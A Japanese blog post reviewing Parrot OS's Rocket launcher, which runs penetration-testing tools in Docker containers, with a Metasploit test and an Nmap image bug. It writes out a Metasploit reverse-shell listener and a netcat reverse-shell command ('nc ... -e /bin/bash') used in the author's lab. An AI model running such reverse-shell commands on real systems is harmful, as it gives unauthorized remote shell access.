Rocketでみた未来のペンテストツールの形

## はじめに
本記事は Cyber-sec+ Advent カレンダー 12/14 の記事です。
実はアドベント用の記事として２つ用意していてどっちを出そうか迷ってました。でもせっかく書いたので両方出します。
- [Pwned LabsとMCRTP](https://qiita.com/taka_masa/items/0f5016545594dffdb2ff)
- [Rocketでみた未来のペンテストツールの形](https://qiita.com/taka_masa/items/52f85c0b03924cb05008)

興味ある方を読んでいただければと思います。
こちらのページは「Rocketでみた未来のペンテストツールの形」の方の記事です。

なんか凄いタイトルにしてしまいましたが内容としてはParrotが出したRocketというランチャーツールを使ってみたという話です。

## コンテナ化されていくツール達
Kali LinuxやParrot OSなどペネトレーション用のOSを使用していると多くのツールはすでに導入されていたり、apt-getで簡単にリポジトリから導入できます。
その一方で、コンテナでのツール提供の波も小さいながらも来ているかなと感じています。BloodHoundのコミュニティ版はDockerで提供でした。netexecに変わったcrackmapexecも最後の方はDockerでも提供されていました。
apt-getでの導入は簡単でよいのですが、ひとたび依存関係が解決できなくなったり、エラーが出るとちょっと根が深くなることもあって、Dockerコンテナでも導入できるということはいろいろとメリットがあるなと考えています。

## ついにランチャー登場
そんな中で、今年10月にリリースされた[ParrotOS6.2のリリースノート](https://www.parrotsec.org/blog/2024-10-23-parrot-6.2-release-notes/)は大変興味をひかれました。

https://www.parrotsec.org/blog/2024-10-23-parrot-6.2-release-notes/

Announcementの部分を見てください。「Rocket, new Parrot tool」って出ています。
このRocketというツール、docker.ioを入れていれば、ペネトレツールをDockerからとってきてコマンド実行できるという面白ツールです。
なるほど、いろんなツールがコンテナ化していけばこういった使い方もありだよなって思います。

## さっそく使ってみる
ParrotOS6.2にすれば使えるのかなと思って、今使っているParrotを上げてみました。
Rocket入ってませんでした・・・
じゃぁ、Parrot6.2のISOからインストールすればいいかなと思ってインストールしました。
Rocket入ってませんでした・・・

アナウンス文にあるように、GitLabから落としてきてインストールするしかなさそうですね。アナウンス文にあるリンクからzipファイルを落としてきて、入れちゃいます。
(docker.ioインストールしてない人は、先にapt-getとかでインストールしておいてください)

インストールしたら使っていきたいと思います。
からRocketを立ち上げます。

使用できるツールはまだ限られており以下のの７つです。
- Metasploit
- Nmap
- SET
- BeEF
- Bettercap
- sqlmap
- netexec

あれっ、BloodHoundが入ってないですね・・・まぁいいです。いくつか使ってみましょう。
ツールによって２つの使い方があるようです。
- 入力欄があってコマンドを入れて実行するもの
![rocket002.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/310933/d17748d0-fcfa-ed14-c66a-23cd7fe6e591.png)

- ボタンを押すとツールが起動してターミナルが開いてあとはどうぞ的なもの
![rocket001.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/310933/7606d8ca-fd65-5f2f-b0b8-af279417b4b6.png)


ま・・まぁまだ出たばっかなのでこんなもんでしょう。
ではいくつかツールを試してみましょう。

## Metasploitを試してみる
Metasploitを選択して、「Run Container」ボタンを押してみます。

初回の起動なのでDockerHubからイメージをダウンロードしてきます。
少し待つとMetasploitが起動しました。
![rocket008.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/310933/3bbeea69-b008-600c-a878-65ad9c2fd03b.png)


ではリスナーを立ち上げて別サーバからリバースシェルで接続してみましょう。
今回はテストなので簡易なものにします。
```
use exploit/multi/handler
set payload cmd/unix/reverse_bash
set LPORT 8888
exploit
```
ちなみにshow optionsするとこんな感じ。
![rocket009.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/310933/704d28ae-6a2d-44de-ae08-36204d01b6c3.png)

では別サーバからリバースシェル実行してみましょう。
```
nc 192.168.94.137 8888 -e /bin/bash
```
つ・・・つながらない！！！
ポートフォワーディングまでは設定してくれないのかな。
しかたないので、Metasploit実行しているサーバに戻りiptablesでポートフォワーディング設定します。
```
sudo iptables -t nat -A PREROUTING -p tcp --dport 8888 -j DNAT --to-destination 172.17.0.2:8888
sudo iptables -A FORWARD -p tcp -d 172.17.0.2 --dport 8888 -j ACCEPT
```
改めて、別サーバからリバースシェルすると・・・
![rocket010.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/310933/7e6fcb2d-d751-4657-2559-79e5a0faf4f4.png)
つながりましたね。whoamiコマンドもちゃんと実行できています。
実用性を考えるとまだまだこれからでしょうか。



## Nmapを試してみる
気を取り直してNMAPツール試してみましょう。今度は入力欄があるのでここにオプションとかターゲットを入力して「Run Container」押すだけですね。
![スクリーンショット 2024-12-13 234703.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/310933/cc63a4c0-ff8d-dc72-e7a9-8545893e1747.png)

↑↑↑こんな風に入力してみました。
今回は別サーバに簡易webサーバ立ち上げたので、スキャンしてみます。

初回なのでDockerHubからイメージダウンロードが始まって・・・

![rocket013.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/310933/4c5e3bda-08a6-cc5a-7fda-e69ec5a89e9b.png)

ん！nmapが「not found」だと！
エラーで終わりました。

## dockerをのぞいて調査してみる
もうよくわからないのでDockerコマンドたたいて調べていきます。
docker imagesでダウンロードしたイメージを確認して、直接コマンドライン指定してみます。
![rocket014.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/310933/fd2ff4ec-1b8e-9c46-8bb0-c18d2dbca7ea.png)
同じエラーが出ます。
もうイメージ自体がダメなんですかね。

Docker Hubの該当イメージも見てみます

https://hub.docker.com/r/parrotsec/nmap/tags

latestは、タグでいうと６でしょうか。
ひとつ前に5.3があるのでこっちで試してみましょうか。
docker pullで5.3をひっぱて来て、5.3のイメージを指定してコマンドライン実行してみます。
![rocket015.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/310933/93b2a468-c468-6952-146e-30438b500afa.png)

はい、無事nmap成功しました。
というわけで、最新版のParrotsecのnmapイメージを使うとダメみたいですね。
現状のRocketにはイメージのタグを指定する機能ないので常に最新版をひっぱってきてしまいます。
ですので、現時点ではnmapが使えない状況のようです。（なにか解決策がありそうでしたらぜひ教えていただければと思います。）

## これからの期待
私がツールの使い方についてよく理解してないだけなのかよくわかりませんが、上から2つ試しただけでもちょっとな・・・という感じがしました。
しかしまだ始まったばかりです！
きっと改善を続けて理想的なDockerでペネトレツールを使いこなす日が来ると信じてます。
発想は面白いと思いますので、時間があればコントリビュートできればなぁって思いました。
思っているだけですいません。

https://gitlab.com/parrotsec/project/rocket